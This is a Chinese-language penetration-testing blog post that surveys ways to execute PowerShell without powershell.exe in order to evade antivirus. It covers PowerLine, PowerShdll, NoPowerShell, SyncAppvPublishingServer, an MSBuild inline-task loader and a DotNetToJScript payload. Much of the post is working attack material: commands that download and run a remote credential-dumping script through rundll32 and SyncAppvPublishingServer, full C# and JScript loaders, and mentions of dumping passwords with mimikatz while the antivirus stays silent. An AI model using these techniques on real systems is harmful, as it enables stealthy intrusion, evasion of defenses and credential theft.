無powershell執行powershell方法總結

今天給大家帶來的是,無powershell執行powershell的一些姿勢的分享,由於powershell的特性,使得它很受滲透測試愛好者的喜愛,當然也催生了像ASMI之類的防禦手段,當然各類殺軟也是把它納入了查殺行列中,比如某套裝,只要你呼叫PS就會查殺,著實噁心。

無powershell執行powershell方法總結

所以我們在與AV的對抗中也會想法設法的去bypass來執行PS,這裡我便總結了幾種無powershell執行powershell的姿勢,希望能在實戰的時候幫到大家。

下面是總結的列表:

PowerLine

PowerShdll

Nopowershell

SyncAppvPublishingServer

呼叫MSBuild。exe

呼叫cscript

下面的實驗如無特殊說明,均在windows server 2008 sp2 + 360最新版下進行

PowerLine

PowerLine是一款由c#編寫的工具,支援本地命令列呼叫和遠端呼叫,可以在不直接呼叫PowerShell的情況下呼叫PowerShell指令碼,優點如下:

自動識別win7、win10系統

使用方便,無需複雜的ide

自動xor編碼

下載地址可留言或私信獲取

我們來看一下它的使用方法:

首先拉取專案到本地,然後執行build。bat檔案

無powershell執行powershell方法總結

然後在UserConf。xml檔案中填寫你所需要呼叫的powershell指令碼的地址,預設自帶powerup、powerview、Mimikatz等,只要按照他給定的格式加入你的ps指令碼地址即可

無powershell執行powershell方法總結

加入完成以後,執行PLBuilder。exe進行構建,構建過程中,360無提示

無powershell執行powershell方法總結

檢視內建的指令碼PowerLine。exe -ShowScripts

無powershell執行powershell方法總結

執行指令碼,360無提示

無powershell執行powershell方法總結

但是在執行之後,360提示了報毒,並刪掉了我的exe檔案。。。一般AV只是檢測PS發出的惡意請求,但由於在powerline中,請求是由powerline發出的,便繞過了一部分AV,但是缺點也是很明顯,就是可擴充套件性太差,所有的功能依賴於配置檔案。。。

PowerShdll

這個工具主要使用dll去執行powershell而不需要去連線powershell。exe,所以具有一定的bypassAV能力,當然它也可以在這幾個程式下執行rundll32。exe, installutil。exe, regsvcs。exe, regasm。exe, regsvr32。exe或者使用作者給出的單獨的exe進行執行

下載地址:留言或私信獲取

exe版使用方法:

使用PowerShdll -i進入到互動模式,此時便獲得了一個互動式的PS環境,可執行任意的powershell命令,整個過程360無攔截

無powershell執行powershell方法總結

下載mimikatz抓取密碼,360全程無反應。。。

無powershell執行powershell方法總結

在互動式模式下唯一要注意的就是,你輸入的內容不能過長,否則會出現問題,原因未可知。。。。

我們再來看一下dll版的用法。。

rundll32 PowerShdll。dll,main 。 { iwr -useb https://raw。githubusercontent。com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump。ps1 } ^| iex;

這次沒有那麼好運了,直接被360殺了

無powershell執行powershell方法總結

Nopowershell

NoPowerShell是用C#實現的工具,它支援執行類似PowerShell的命令,同時對任何PowerShell日誌記錄機制都不可見。同時也提供了CS下的cna指令碼。

優點:

執行隱秘

功能強大

擴充套件簡單

即使不熟悉PS命令也可以使用cmd命令來代替PS命令,例如(使用ping來代替Test-NetConnection)

下載地址:留言或私信獲取

我們來看一下它的用法:直接執行便會輸出它的版本和支援的命令

無powershell執行powershell方法總結

無powershell執行powershell方法總結

過程360無攔截,而dll版被秒殺。。

無powershell執行powershell方法總結

cs下穩定。。

無powershell執行powershell方法總結

這裡要注意一點的是,指令碼預設呼叫scripts下的檔案,國內的cs大多為script目錄,自行修改檔案內的目錄即可。

瞭解了相關的知識,我們在實操中是怎麼運用呢?登入合天網安實驗室尋找答案。

相關實驗推薦:CobaltStrike之代理和powershell

快去合天網安實驗室做實驗吧~

SyncAppvPublishingServer

SyncAppvPublishingServer是win10自帶的服務,有vbs和exe兩個版本,我們可以使用他們來做一些類似PS的操作

預設存放在C:\Windows\System32下面

無powershell執行powershell方法總結

用法例項:

彈計算機:

C:\Windows\System32\SyncAppvPublishingServer。vbs “Break; Start-Process Calc。exe ”

無powershell執行powershell方法總結

或者:

C:\Windows\System32\SyncAppvPublishingServer。vbs ”Break; iwr http://192。168。1。149:443“

無powershell執行powershell方法總結

你也可以去遠端下載執行一些ps指令碼就像下面這樣:

C:\Windows\System32\SyncAppvPublishingServer。exe \” Break; (New-Object System。Net。WebClient)。DownloadFile(‘https://raw。githubusercontent。com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump。ps1’,‘$env:USERPROFILE/1。ps1’); Start-Process ‘$env:USERPROFILE/1。ps1’ -WindowStyle Minimized;“

SyncAppvPublishingServer。exe ”n;(New-Object Net。WebClient)。DownloadString(‘https://raw。githubusercontent。com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump。ps1’) | IEX“

呼叫MSBuild.exe:

MSBuild是。Net框架中包含的工具,用於自動化建立軟體產品的過程,包括編譯原始碼,打包,測試,部署和建立文件。

Msbuild依賴於。csproj檔案,該檔案具有XML語法,包含了。NET構建過程中的結果,類似於unix中的make,程式碼如下:

xmlns=”http://schemas。microsoft。com/developer/msbuild/2003“>

AssemblyFile=

”C:\Windows\Microsoft。Net\Framework\v4。0。30319\Microsoft。Build。Tasks。v4。0。dll“ >

<![CDATA[

using System。Collections。ObjectModel;

using System。Management。Automation;

using System。Management。Automation。Runspaces;

using System。Runtime。InteropServices;

using System。IO;

using System;

using System。Text;

using System。Runtime。InteropServices;

using Microsoft。Build。Framework;

using Microsoft。Build。Utilities;

public class PSLess : Task

{

public override bool Execute()

{

string buffer = ”“;

try

{

buffer = File。ReadAllText(”c:/test/test。ps1“);

}

catch (Exception e)

{

Console。WriteLine(”error:“ +e。Message);

Environment。Exit(2);

}

buffer=RunScript(buffer);

Console。WriteLine(buffer);

return true;

}

private static string RunScript(string script)

{

Runspace MyRunspace = RunspaceFactory。CreateRunspace();

MyRunspace。Open();

Pipeline MyPipeline = MyRunspace。CreatePipeline();

MyPipeline。Commands。AddScript(script);

MyPipeline。Commands。Add(”Out-String“);

Collection outputs = MyPipeline。Invoke();

MyRunspace。Close();

StringBuilder sb = new StringBuilder();

foreach (PSObject pobject in outputs)

{

sb。AppendLine(pobject。ToString());

}

return sb。ToString();

}

}

]]>

< / Code>

test。ps1的內容如下

echo ”hello from powershell-less“

echo ”this is your pid:$PID“

$psversiontable

效果:

無powershell執行powershell方法總結

全程360無提示。。

github上也有類似的專案:留言或私信獲取

執行完之後獲得一個互動式的PS

無powershell執行powershell方法總結

呼叫cscript:

github上有一個開源的專案,可以直接生產一個。js的檔案,用法是

Dotnettojscript。exe > testps。js

現在作者給出來編譯好的版本,但是裡面總是有一些問題總是提示:

Error: loading assembly information。

The generated script might not work correctly

所以我們下載下來,進行手動編譯。。

首先使用vs開啟專案,然後切換到TestClass。cs,並註釋掉MessageBox這個方法,不然每次執行都會得到一個messageBox

無powershell執行powershell方法總結

然後,因為需要呼叫PS,所以我們需要引入”System。Management。Automation。Runspaces”,“ System。Management。Automation“,我們可以在PS下使用下面的命令進行查詢該dll的位置,然後手動引入

[psobject]。Assembly。Location

無powershell執行powershell方法總結

引入之後,並且在TestClass中加入以下方法:

private string LoadScript(string filename)

{

string buffer =”“;

try {

buffer = File。ReadAllText(filename);

}

catch (Exception e)

{

return ”“;

}

return buffer;

}

public void RunScript(string filename)

{

Runspace MyRunspace = RunspaceFactory。CreateRunspace();

MyRunspace。Open();

Pipeline MyPipeline = MyRunspace。CreatePipeline();

string script=LoadFile(filename);

MyPipeline。Commands。AddScript(script);

MyPipeline。Commands。Add(”Out-String“);

Collection outputs = MyPipeline。Invoke();

MyRunspace。Close();

StringBuilder sb = new StringBuilder();

foreach (PSObject pobject in outputs)

{

sb。AppendLine(pobject。ToString());

}

Console。WriteLine(sb。ToString());

}

編譯完得到Dotnettojscript。exe、ExampleAssembly。dll兩個檔案,然後我們繼續將我們的test。ps1檔案進行生成一個js檔案,其內容如下:

function setversion() {

}

function debug(s) {}

function base64ToStream(b) {

var enc = new ActiveXObject(”System。Text。ASCIIEncoding“);

var length = enc。GetByteCount_2(b);

var ba = enc。GetBytes_4(b);

var transform = new ActiveXObject(”System。Security。Cryptography。FromBase64Transform“);

ba = transform。TransformFinalBlock(ba, 0, length);

var ms = new ActiveXObject(”System。IO。MemoryStream“);

ms。Write(ba, 0, (length / 4) * 3);

ms。Position = 0;

return ms;

}

var serialized_obj = ”AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy“+

”AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph“+

”dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk“+

”ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD“+

”AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl“+

”RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU“+

”eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl“+

”cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90“+

”aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu“+

”MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH“+

”dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA“+

”ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw“+

”B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu“+

”dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA“+

”CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u“+

”SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5“+

”cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR“+

”AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA“+

”AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y“+

”bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh“+

”NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz“+

”ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmcm9tIHBvd2Vyc2hlbGwtbGVz“+

”cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA“+

”AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0“+

”ZVtdKQgAAAAKCwAA“;

var entry_class = ‘TestClass’;

try {

setversion();

var stm = base64ToStream(serialized_obj);

var fmt = new ActiveXObject(‘System。Runtime。Serialization。Formatters。Binary。BinaryFormatter’);

var al = new ActiveXObject(‘System。Collections。ArrayList’);

var d = fmt。Deserialize_2(stm);

al。Add(undefined);

var o = d。DynamicInvoke(al。ToArray())。CreateInstance(entry_class);

} catch (e) {

debug(e。message);

}

解密後的主要邏輯如下:

var entry_class = ‘TestClass’;

try {

setversion();

var stm = base64ToStream(serialized_obj);

var fmt = new ActiveXObject(‘System。Runtime。Serialization。Formatters。Binary。BinaryFormatter’);

var al = new ActiveXObject(‘System。Collections。ArrayList’);

var d = fmt。Deserialize_2(stm); al。Add(undefined);

var o = d。DynamicInvoke(al。ToArray())。CreateInstance(entry_class);

o。RunScript(”c:\\test\\test。ps1“);

} catch (e) {

debug(e。message);

}

執行結果:

無powershell執行powershell方法總結

當然你也可以用下面的方法如繞過對JS字尾的檢測

cscript //e:jscript testps。txt

但是360無情的殺死了我們。。。。

無powershell執行powershell方法總結

寫在後面:

本文僅對網上常見的無PS執行PS的手段進行了總結,實驗過程大家也可以看的出來,是可以bypass一些AV的,也是各有各的優缺點,最好是針對不同的AV去找出它的攔截規則,然後再進行對於的bypass操作。